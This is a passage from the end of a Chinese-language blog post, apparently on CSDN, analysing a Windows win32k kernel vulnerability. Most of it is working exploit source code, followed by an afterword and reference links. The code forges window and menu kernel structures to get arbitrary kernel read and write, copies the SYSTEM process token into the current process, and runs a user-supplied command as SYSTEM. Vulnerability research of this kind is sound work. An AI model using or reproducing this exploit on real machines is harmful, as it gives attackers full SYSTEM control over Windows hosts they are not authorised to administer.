	DWORD64 WndMaxDeskHeap = *(PDWORD)(MaxTagWnd + 8);
	//创建一个触发漏洞的窗口
	hWndTriggerBug = CreateWindowExW(
		0x8000000u,
		(LPCWSTR)(unsigned __int16)atom2,
		L"LeakSomething",
		0x8000000u,
		0,
		0,
		0,
		0,
		0,
		CreateMenu(),
		GetModuleHandleW(0),
		0);
	printf("[+]Created windows = 0x%p\n", hWndTriggerBug);
	/*
	此时触发漏洞的窗口已经在我们Hook的函数中被修改了寻址模式
	*/

	//在hWndMin的tagWnd->ExtraBytes设置为hWndMin的桌面堆
	SetWindowLongW(hWndTriggerBug, WND_EXTRA_DATA_PTR_OFFSET, g_WndMinDeskHeap);
	//将WndWin的Extra_Size修改为0xffffffff,从而解除对WndWin使用SetWindowLong* 系列函数的限制
	SetWindowLongW(hWndTriggerBug, WND_CBEXTRA_OFFSET, 0xffffffff);
	/*
		现在已经获得写原语,通过hWndMin和hWndMax的组合即实现可任意内核地址写
		接下来要实现读原语,需要利用到tagMenu,所以对MenuBarInfo结构体进行伪造
	*/
	DWORD64	tagMenu = (__int64)LocalAlloc(0x40u, 0x200ui64);
	printf("[+]tagMenu = 0x%p\n", tagMenu);
	DWORD64	idItemInfo = (__int64)LocalAlloc(0x40u, 0x30ui64);
	printf("[+]idItemInfo = 0x%p\n", idItemInfo);
	DWORD64	spSelf = (__int64)LocalAlloc(0x40u, 8ui64);
	printf("[+]spSelf = 0x%p\n", spSelf);
	DWORD64	spMenu = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64);
	printf("[+]spMenu = 0x%p\n", spMenu);
	HLOCAL	rgItemList = LocalAlloc(0x40u, 40ui64);
	printf("[+]rgItemList = 0x%p\n", rgItemList);

	DWORD64 ref_tagMenu = tagMenu;
	DWORD64 ref_idItemInfo = idItemInfo;
	DWORD64 ref_spSelf = spSelf;
	DWORD64	ref_spMenu = spMenu;
	ref_g_rgItemList = rgItemList;

	*(DWORD*)(idItemInfo + 0x2c) = 0x10;
	*(PDWORD)ref_tagMenu = 0x66666666;
	*(DWORD64*)(ref_tagMenu+0x28)= ref_idItemInfo;
	*(PDWORD)(ref_tagMenu+0x40 )= 1;
	*(PDWORD)(ref_tagMenu + 0x44) = 1;
	*(DWORD64*)(ref_tagMenu+0x58)= (DWORD64)rgItemList;
	*(DWORD64*)ref_spSelf = tagMenu;
	*(DWORD64*)(ref_spMenu + 0x98) = ref_spSelf;

	//替换hWndMmax的spMenu
	DWORD64 ulOffset = WndMaxDeskHeap - g_WndMinDeskHeap;

	DWORD64 MaxWndStyle = *(PDWORD64)(MaxTagWnd + WND_STYLE_OFFSET);
	//__debugbreak();
	//设置hWinMax的窗口样式包含WS_CHLD
	SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle ^ WND_STYLE_WS_CHLD);
	//修改hWndMax的spMenu为我们伪造的spMenu
	DWORD64 ulOldtagMenu = SetWindowLongPtrA(g_hWndMax, GWLP_ID, spMenu);
	printf("[+]ulOldtagMenu = 0x%p\n", ulOldtagMenu);
	//恢复hWinMax的窗口样式
	SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle);
	//此时已经获得读原语,并封装成函数readQWORD()
	DWORD64 first = readQword(ulOldtagMenu + 0x50);
	printf("[+]first = 0x%p\n", first);

	DWORD64 second = readQword(first + 0x18);
	printf("[+]second = 0x%p\n", second);

	DWORD64 third = readQword(second + 0x80);
	printf("[+]third = 0x%p\n", third);

	DWORD64 pTagThreadInfo = readQword(first + 0x10);
	printf("[+]pTagThreadInfo = 0x%p\n", pTagThreadInfo);

	DWORD64 tagThreadInfo = readQword(pTagThreadInfo);
	printf("[+]tagThreadInfo = 0x%p\n", tagThreadInfo);

	DWORD64 _Eprocess = readQword(tagThreadInfo + 0x220);
	printf("[+]_Eprocess = 0x%p\n", _Eprocess);

	DWORD64 CurEprocess = _Eprocess;
	DWORD CurPid = GetCurrentProcessId();
	DWORD64 SystemToken = 0;
	DWORD64 CurTokenAddr = 0;
	DWORD64 tagWndTriggle = 0;

	do {
		DWORD pid = readQword(_Eprocess + 0x2E8);
		if (pid == 4) {
			SystemToken = readQword(_Eprocess + 0x360);
			printf("[+]SystemToken = 0x%p\n", SystemToken);
		}
		else if (pid == CurPid) {
			CurTokenAddr = _Eprocess + 0x360;
			printf("[+]CurTokenAddr = 0x%p\n", CurTokenAddr);
		}
		
		_Eprocess = readQword(_Eprocess + 0x2F0) - 0x2F0;
	} while (_Eprocess!=CurEprocess);

	if (!SystemToken || !CurTokenAddr) {
		printf("[!]Error:%d", __LINE__ );
	}
	else {
		//替换Token
		SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET, CurTokenAddr);
		SetWindowLongPtrA(g_hWndMax, 0, SystemToken);
		//验证是否提权成功
		printf("[+]Try to execute %s as SYSTEM!\n",argv[1]);
		system(argv[1]);
	}

	printf("[+]恢复原来的配置...\n");
	
	//恢复到没有修改之前的状态,防止蓝屏
	tagWndTriggle = HMValidateHandle(hWndTriggerBug, 1);
	//tagWnd->Flags
	DWORD64 Flags = *(PDWORD64)(tagWndTriggle + 0xE0) ^ 0x80000000000;
	//g_hWndMax tagWnd->ExtraBytes=0
	SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET,
		third + *(PDWORD)(tagWndTriggle + 8) + WND_EXTRA_DATA_PTR_OFFSET);
	SetWindowLongPtrA(g_hWndMax, 0, 0);
	//去除tagWndTriggle tagWnd->Flags中的0x800标记
	SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET,
		third + *(PDWORD)(tagWndTriggle + 8) + 0xE0);
	SetWindowLongPtrA(g_hWndMax, 0, Flags);
	//还原tagWnd->spMenu
	SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle ^ WND_STYLE_WS_CHLD);
	SetWindowLongPtrA(g_hWndMax, GWLP_ID, ulOldtagMenu);
	SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle);
	//还原 hWndMin tagWnd->ExtraBytes 
	SetWindowLongPtrA(hWndMin, WND_EXTRA_DATA_PTR_OFFSET + ulOffset, ulOldMaxExtraBytes);
	SetWindowLongPtrA(hWndMin, WND_EXTRA_DATA_PTR_OFFSET, ulOldMinExtraBytes);
	return 0;
}
7.演示

tips:有时要多运行几次才能成功
在这里插入图片描述

0x4 后记

分析这个漏洞我用去了3周时间,其中最耗费时间的一个是找环境,二个是分析漏洞的利用链,最后一个是分析如何利用tagMenu。最棘手的就是tagMenu,前期找到的资料压根没提,我只能基于公开的POC和自己逆向分析去推测tagMenu的相关成员,包括tagWnd和内核中的窗口this指针,中间也出现过许多误解,随着多次测试和找到了更详细的资料后,逐步清晰起来。特别值得学习的是这个漏洞首次使用了tagMenu来泄露内核数据。

0x5 参考

https://saturn35.com/2021/03/16/20210316-1/

https://bbs.pediy.com/thread-266362.htm

https://paper.seebug.org/1574/

https://zhuanlan.zhihu.com/p/367326101

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值